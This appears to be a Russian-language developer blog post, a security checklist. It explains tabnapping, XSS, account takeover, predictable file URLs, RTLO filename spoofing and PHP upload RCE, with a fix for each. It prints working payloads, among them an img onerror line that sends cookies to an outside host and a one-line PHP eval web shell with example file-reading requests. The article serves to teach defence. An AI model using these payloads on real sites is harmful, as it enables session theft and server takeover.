Particle1Particle2Particle3Particle4Particle5
HWdTech / Блог /

Чеклист по

кибербезопасности сайтов

для начинающих разработчиков

Частые и опасные уязвимости. Данная статья написана в ознакомительных целях, чтобы каждый мог реализовать защиту от простых, но опасных атак на сайты и приложения.

April 15, 2021
#cybersecurity #attacs #cyber attacks #security #безопасность

Reading time: 8 min

Целью данной статьи является практически реальные примеры векторов атак и их решения. Не используйте данные атаки и любые другие без согласия сайта, это наказуемо законом.

Tabnapping

  1. В ссылке

Злоумышленник размещает ссылку на свой сайт, где на странице злоумышленника будет код:

1<script>
2window.opener.location.replace('http://example.com'); // фишинговый сайт очень похожий на оригинальный
3</script>
4

Жертва переходит по этой ссылке, в результате старая вкладка меняется на фишинговую страницу, например с логином. Жертва логинится и отдает свои данные для входа злоумышленнику.

Решением данной проблемы может являться: Добавление всем ссылкам, которые может написать на сайте пользователь атрибута rel = "nofollow noopener". Теперь у сайта злоумышленника не будет доступа к сайту, с которого на него перешли.

2. В файле Злоумышленник может указать ссылку на сайт с вредоносным кодом в файле PDF. Код вставляемый в PDF:

1411 0 obj
2<<
3/Type /Action
4/S/URI/URI(http://example.com)
5>>
6endobj

Жертва кликает на ссылку в файле и повторяет действия, описанные выше. Решением данной проблемы может являться:

Открывать файл в новой вкладке, без доступа к родительской. Хранить файлы на другом домене.

XSS

1. XSS в SVG Если на сайте разрешено загружать файлы изображений типа SVG, и сайт размещает их не в теге img. То он с очень большой вероятностью подвергается атаке XSS. А если в теге img, то XSS сработает, когда изображение откроют в новой вкладке. Пример изображения SVG с кодом JS:

1<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
2<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
3<script type="text/javascript">
4 alert(1);
5</script>
6</svg>

Решением данной проблемы может являться: Удаление всего из SVG, что не является изображением. В идеале запретить загружать файлы SVG. Проверять файл не по расширению, а по содержимому является ли он файлом изображения.

2. XSS в ссылке Принято считать, что <a href="javascript:alert(1)" target="_blank">CLICK ME</a> наличие атрибута target="_blank защитит от XSS в ссылке, из-за защиты браузера и мы получи about:blank#blocked. Но существуют браузеры которые <a href="javascript:alert(1)" target="_blank">CLICK ME</a> откроют так же как и <a href="javascript:alert(1)">CLICK ME</a> в результате сработает XSS. Решением данной проблемы может являться: Проверка ссылок на этапе ввода / отображения на валидность и отсутствие JS кода. В случае наличия JS кода или не валидности ссылки, необходимо запрещать ссылки. 3. XSS в чате/ поле ввода Злоумышленник пишет в чат пользователю / поддержке код вида: <img src=x onerror="javascript:document.location='https://site.com/d.php?cookie=' + escape(document.cookie)"> Так как изображения нет выполняется onerror и отправляются куки пользователя на сайт злоумышленника. Решением данной проблемы может являться: Не допускать выполнения текста как кода. Никогда не использовать eval('код'). Настроить CSP со списком сайтов на которые можно отправляться запросы и другие ресурсы.

Account takeover

1. Ранее созданный аккаунт злоумышленником Злоумышленник создает аккаунт на сайте по почте и паролю. Сайт не требует подтвердить почты пользователя. Теперь жертва входит на этот же сайт через любую соц сеть с той же почтой. Делает какие-либо операции на сайте, пишет сообщения и т.д. Злоумышленник входит по паролю и почте и видит все данные пользователя. Если на сайте есть транзакции / сообщения и другие личные данные, то они все попадают в руки злоумышленнику. Решением данной проблемы может являться:

Сообщение на почту с просьбой подтвердить аккаунт. Запретить входить через соц сеть, если был вход по паролю. А только дополнительно добавить вход через соц сеть в настройках аккаунта.

2. Сессия Если на сайте сессия пользователя имеет бесконечный срок жизни, или не обнуляется после логаута. Это является большой проблемой. Злоумышленник может украсть сессию (например, через XSS) и пользоваться ей сколько угодно времени. Решением данной проблемы может являться:

  • Давать жизнь сессии на не длительный период.

  • Обнулять сессию после выхода из аккаунта.

  • Иметь возможность в админке обнулять сессии.

Information Disclosure

Кража личных файлов Файлы из личных сообщений пользователя строятся по URL /files/user-id/file-id Где user-id юзер открытая информация, а file-id не уникальные UUID, а просто число 1000, 1001 и т.д. В результате злоумышленник может получить все приватные файлы пользователя, сбрутив за некоторое время все варианты URL. Решением данной проблемы может являться:

  • Генерировать UUID место обычного числа.

  • Генерировать дополнительный под путь на файлы по N штук.

  • Давать доступ к файлам только авторизованным пользователям, отправителю и получателю.

RTLO

Злоумышленник создает файл с исполняемым кодом exe например. Называет его с использованием символа RTLO RTLOgpj.exe и отправляет его как файл в чате с пользователем. Если чат не умеет обрабатывать RTLO символ, то жертва получит файл RTLOexe.jpg и откроет его, думая, что это файл изображения.

CyberSec

Так же что бы жертва не поняла, многие злоумышленники называют файл длинным именем, чтобы последние символы расширения "exe" не были видны RTLOabcde....jpg. В результате злоумышленник получает полноценный доступ к компьютеру пользователя. Решением данной проблемы может являться: Удалять RTLO символ на этапе загрузки файла.

RCE

Если сайт поддерживает PHP - это очень благоприятная обстановка для реализации RCE. Когда на сайте отсутствует проверка файлов по типу, или их сжатие, то можно загрузить вредоносный файл GIF с кодом PHP или сразу php файл. В файле GIF есть специальный байт, после которого можно добавить код PHP. Код PHP будет выглядеть так, чтобы мы могли сделать, что угодно: <?php eval($_GET["cmd"]);?> А запросы будут выглядеть так: /file.php?cmd=phpinfo(); /file.gif?cmd=phpinfo(); В результате выполниться код и мы получим:

CyberSecImg

file.php?cmd=echo%20readfile("filename.txt","r"); /file.gif?cmd=echo%20readfile("filename.txt","r"); В результате выполниться код и мы получим:

CyberSecurityImg

Решением данной проблемы может являться: Сжатие файлов, удаление exif информации. Все описанные выше проблемы были найденные в актуальных версиях сайтов, которые мы все знаем.

Читайте также

Наши статьи!

Подписка

Раз в месяц мы делаем рассылку с анонсом новых кейсов и статей, опубликованных на сайте.

* - обязательное поле

Гарантируем - никакого спама. Нажимая на кнопку, вы даете согласие на обработку персональных данных и соглашаетесь c политикой в отношении обработки персональных данных.